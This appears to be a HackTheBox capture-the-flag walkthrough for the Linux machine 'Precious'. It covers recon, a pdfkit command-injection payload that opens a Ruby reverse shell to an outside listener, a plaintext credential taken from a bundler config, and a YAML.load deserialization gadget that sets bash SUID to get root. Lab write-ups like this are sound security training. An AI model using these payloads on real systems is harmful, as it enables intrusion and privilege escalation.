Precious | HackTheBox
Overview
Title | precious |
---|---|
Difficulty | Easy |
Machine | Linux |
Maker |
About Precious
Information Gathering
Initial script and service scan:
nmap -sC -sV 10.10.11.189 -oA nmap/initial
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.57s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http nginx 1.18.0
| http-server-header:
| nginx/1.18.0
|_ nginx/1.18.0 + Phusion Passenger(R) 6.0.15
|_http-title: Convert Web Page to PDF
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Port 80 - HTTP (Nginx 1.18.0)
First I thought of SSRF but there is no response when we enter a url, and it throws an error Cannot load remote URL!
. Url without http or https also throws an error You should provide a valid URL!
But when we append ` character at the end of a url it generates an empty pdf file.
file k2kl1ovlfap1dqeyt0ndt0bfucqbmw0c.pdf
k2kl1ovlfap1dqeyt0ndt0bfucqbmw0c.pdf: PDF document, version 1.4, 1 pages
exiftool k2kl1ovlfap1dqeyt0ndt0bfucqbmw0c.pdf
ExifTool Version Number : 12.40
File Name : k2kl1ovlfap1dqeyt0ndt0bfucqbmw0c.pdf
Directory : .
File Size : 4.5 KiB
File Modification Date/Time : 2023:01:19 09:11:06+05:30
File Access Date/Time : 2023:01:19 09:11:06+05:30
File Inode Change Date/Time : 2023:01:19 09:12:30+05:30
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
After inspecting the pdf file, we can see that it is generated by pdfkit v0.8.6
and this version of pdfkit
is vulnerable to command injection
We can also see that pdfkit
is a package used in generating PDF documents available for ruby.
Exploitation
Command Injection on pdfkit v0.8.6
(CVE-2022-25675)
An application could be vulnerable if it tries to render a URL that contains query string parameters with user input:
PDFKit.new("http://example.com/?name=#{params[:name]}").to_pdf
If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF:
irb(main):060:0> puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command
wkhtmltopdf --quiet [...] "http://example.com/?name=%20`sleep 5`" -
=> nil
Calling to_pdf
on the instance shows that the sleep
command is indeed executing:
PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf
# 5 seconds wait...
Of course, if the user can control completely the first argument of the PDFKit constructor, they can also exploit the command injection as long as it starts with “http”:
PDFKit.new("http%20`sleep 5`").to_pdf
So we can add a reverse shell and gain initial access.
# Payload
http://example.com/?name={'%20`ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.10",1234))'`'}
# nc listener
nc -lnvp 1234
Listening on 0.0.0.0 1234
Connection received on 10.10.11.189 46174
whoami
ruby
id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
Lateral Movement to henry
Local Enumeration
cd ~
ls -alp
total 28
drwxr-xr-x 4 ruby ruby 4096 Jan 19 00:50 ./
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ../
lrwxrwxrwx 1 root root 9 Oct 26 07:53 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle/
drwxr-xr-x 3 ruby ruby 4096 Jan 19 00:50 .cache/
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ls -alp .bundle
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 ./
drwxr-xr-x 4 ruby ruby 4096 Jan 19 00:50 ../
-r-xr-xr-x 1 root ruby 62 Sep 26 05:04 config
cat .bundle/config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
After some enumeration in the home directory of user ruby
I got the password for user henry
.
Lateral Movement vector
Now we can either use SSH to login to the user henry
or just use su henry
and enter the password. Though SSH will be the best way because we will get a proper bash shell instead of the restricted nc shell.
ssh henry@10.10.11.189
henry@10.10.11.189s password:
Linux precious 5.10.0-19-amd64 #1 SMP Debian 5.10.149-2 (2022-10-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
henry@precious:~$ whoami
henry
henry@precious:~$ id
uid=1000(henry) gid=1000(henry) groups=1000(henry)
henry@precious:~$
Privilege Escalation
Local Enumeration
henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
We can run update_dependencies.rb
script as root.
update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
Here we can see that the YAML.load()
function is used to load the dependencies.yaml
file. Apparently this function is vulnerable to RCE by deserialization.
Privilege Escalation vector
- Universal RCE with Ruby YAML.load
- https://gist.github.com/staaldraad/89dffe369e1454eedd3306edc8a7e565
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: chmod u+s /usr/bin/bash
method_id: :resolve
henry@precious:~$ cd /tmp
henry@precious:/tmp$ mkdir test
henry@precious:/tmp$ cd test
henry@precious:/tmp/test$ nano dependencies.yml
henry@precious:/tmp/test$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
24: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
23: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
22: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:141:in `visit_Psych_Nodes_Sequence'
21: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `register_empty'
20: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `each'
19: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:332:in `block in register_empty'
18: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
17: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
16: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
15: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:208:in `visit_Psych_Nodes_Mapping'
14: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:394:in `revive'
13: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:402:in `init_with'
12: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:218:in `init_with'
11: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:214:in `yaml_initialize'
10: from /usr/lib/ruby/vendor_ruby/rubygems/requirement.rb:299:in `fix_syck_default_key_in_requirements'
9: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_reader.rb:59:in `each'
8: from /usr/lib/ruby/vendor_ruby/rubygems/package/tar_header.rb:101:in `from'
7: from /usr/lib/ruby/2.7.0/net/protocol.rb:152:in `read'
6: from /usr/lib/ruby/2.7.0/net/protocol.rb:319:in `LOG'
5: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
4: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
3: from /usr/lib/ruby/vendor_ruby/rubygems/request_set.rb:388:in `resolve'
2: from /usr/lib/ruby/2.7.0/net/protocol.rb:464:in `<<'
1: from /usr/lib/ruby/2.7.0/net/protocol.rb:458:in `write'
/usr/lib/ruby/2.7.0/net/protocol.rb:458:in `system': no implicit conversion of nil into String (TypeError)
henry@precious:/tmp/test$ /usr/bin/bash -p
bash-5.1# whoami
root
bash-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) groups=1000(henry)
bash-5.1#